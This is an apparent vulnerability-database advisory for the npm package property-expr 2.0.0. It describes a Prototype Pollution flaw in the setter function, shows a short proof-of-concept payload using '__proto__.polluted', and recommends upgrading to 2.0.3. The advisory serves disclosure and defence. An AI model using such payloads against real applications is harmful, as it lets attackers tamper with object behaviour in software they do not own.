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property-expr@2.0.0 vulnerabilities

tiny util for getting and setting deep object props safely

  • latest version

    2.0.6

  • latest non vulnerable version

    2.0.6

  • first published

    11 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the property-expr package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • C
    Prototype Pollution

    property-expr is a tiny util for getting and setting deep object props safely

    Affected versions of this package are vulnerable to Prototype Pollution via the setter function.

    POC

    var expr = require('property-expr');
expr.setter('__proto__.polluted')({}, true);
console.log(polluted); // true

    How to fix Prototype Pollution?

    Upgrade property-expr to version 2.0.3 or higher.

    <2.0.3
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